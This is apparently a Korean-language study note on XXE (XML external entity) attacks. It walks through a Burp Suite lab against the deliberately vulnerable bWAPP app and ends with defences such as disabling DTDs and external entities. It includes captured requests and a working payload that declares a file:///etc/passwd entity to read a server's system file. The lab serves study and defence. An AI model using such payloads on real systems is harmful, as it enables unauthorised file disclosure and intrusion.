| XXE(XML 외부 엔티티) 공격
- 접근 통제 관련 취약점의 일부로 볼 수도 있음
- 새로운 트렌드로 최근 몇 년간 많이 보고되어서 별도 항목으로 새로 선정된 것
XXE 공격 개요
- XXE(XML eXternal Entity)는 XML 타입의 데이터가 웹 요청을 통해 전송되고, 서버에서 XML 외부 엔티티를 처리할 수 있도록 설정된 경우 나타날 수 있음
- 사용자가 웹으로 전달되는 XML 데이터를 직접 업로드하거나 수정할 수 있는 경우
ㄴ 공격자는 외부 엔티티를 참조하는 XML 데이터를 전송하여 파일과 같은 서버 내부의 정보를 탈취하거나 서비스 거부 공격, SSRF 등의 공격을 수행할 수 있음
- XML 외부 엔티티는 다음과 같은 형태로 선언됨
ㄴ DOCTYPE 선언을 하고 ENTITY 태그를 이용해 xxe라는 외부 엔티티를 선언하고 있음
ㄴ 선언된 외부 엔티티는 프로그래밍을 할 때 변수를 참조하는 것처럼 XML 내부에서 참조할 수 있음
ㄴ 즉 xxe엔티티 참조시 xxe값인 SYSTEM 키워드로 지정된 /etc/passwd 파일을 참조함
ㄴ 예제는 file://을 사용해 호스트 내부 파일을 참조하지만 http://를 사용해 외부 리소스 참조도 가능함
<!DOCTYPE foo [ |
XXE 공격 실습
- 실습은 버프스위트의 리피터 기능을 이용해 XXE공격을 수행하고 /etc/passwd 파일의 내용을 출력하는 것
ㄴ Any bugs? 버튼이 표시되어 있는데, 버튼 클릭 시 사용자의 시크릿이 버튼에 표시된 문자열로 초기화됨
- 요청 메시지 내용 확인 시 Content-Type 헤더가 text/xml 타입으로 설정되어 있고 바디 부분에는 XML 형태의 데이터가 전송되고 있음
ㄴ XXE 취약점 공격은 이와 같이 XML이 전송되는 부분을 통해 이루어짖ㅁ
POST /bWAPP/xxe-2.php HTTP/1.1 Host: 192.168.0.7 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.7/bWAPP/xxe-1.php Content-type: text/xml; charset=UTF-8 Content-Length: 59 Cookie: BEEFHOOK=2FX019tpGIdHv2R19mbxOuahc9bKP9k9OcU8yaRwD9iwAh3AXUapy2KuHLJvUTwDpaVwptrQQ1j0zCRY; security_level=0; PHPSESSID=a1450eece485f649e50c5cd83354712d Connection: close
<reset><login>bee</login><secret>Any bugs?</secret></reset> |
- XML 요청에 대항 응답으로 전송된 응답 메시지는 다음과 같이 표시됨
ㄴ 요청 메시지의 XML 데이터 중 <login></login> 사이에 전송된 bee 문자열이 bee's secret has been reset! 형태로 나타남
HTTP/1.1 200 OK Date: Mon, 08 Feb 2021 06:21:12 GMT Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g X-Powered-By: PHP/5.2.4-2ubuntu5 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 28 Connection: close Content-Type: text/html
bee's secret has been reset! |
ㄴ XML 태그의 내용이 응답 페이지에서 발견된다면 XXE 공격을 시도할 수 있음
- XML을 수정하며 테스트 하기 위해 리피터로 해당 요청을 전달하고, 프록시 히스토리 화면에서 해당 요청을 우클릭해 전달 가능(4장 리피터 참조)
ㄴ <login>태그 안에 있는 bee 문자열을 test로 바꾸었더니 응답 메시지에도 test로 되돌아 옴
ㄴ 이 사실을 통해 서버가 XML을 처리하고 있다는 것을 추측할 수 있음
- 웹이 외부 엔티티 사용을 허용하도록 설정되어 있다면, 웹 서버 내부의 /etc/passwd 파일을 지정하는 외부 엔티티를 선언 후 <login> 태그의 값으로 해당 외부 엔티티를 참조함으로써, /etc/passwd 파일 내용을 알아낼 수 있음
<!DOCTYPE XXE [ <!ENTITY XXE SYSTEM "file:///etc/passwd"> <reset><login>&XXE;</login><secret>Any bugs?</secret> |
- 위 내용을 요청 메시지의 바디에 입력하고 전송하면 <login> 태그에서 참조한 외부 엔티티인 /etc/passwd 파일의 내용이 출력되었음
XXE 공격 대응
- 외부 엔티티 참조 기능이 필요하지 않은 경우 DTDs나 외부 엔티티 관련 설정을 비활성화하는 것
ㄴ 설정을 비활성화하는 방법은 프로그래밍 언어나 XML 파서의 종류에 따라 다름
ㄴ 주요 언어별 설정은 아래 OWASP 링크에 정리되어 있음
ㄴ https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
- 시스템 운영자나 보안 관리자 관점에서는 ENTITY 태그가 요청 메시지를 통해 전달되는 것이 확인되면 주의를 기울이고, 원래 의도된 요청인지 확인
ㄴ 서비스중인 웹에서 XML 외부 엔티티 기능을 사용할 필요가 없다면 웹 방화벽 등의 장비를 이용해 해당 메시지 차단하는 것을 권장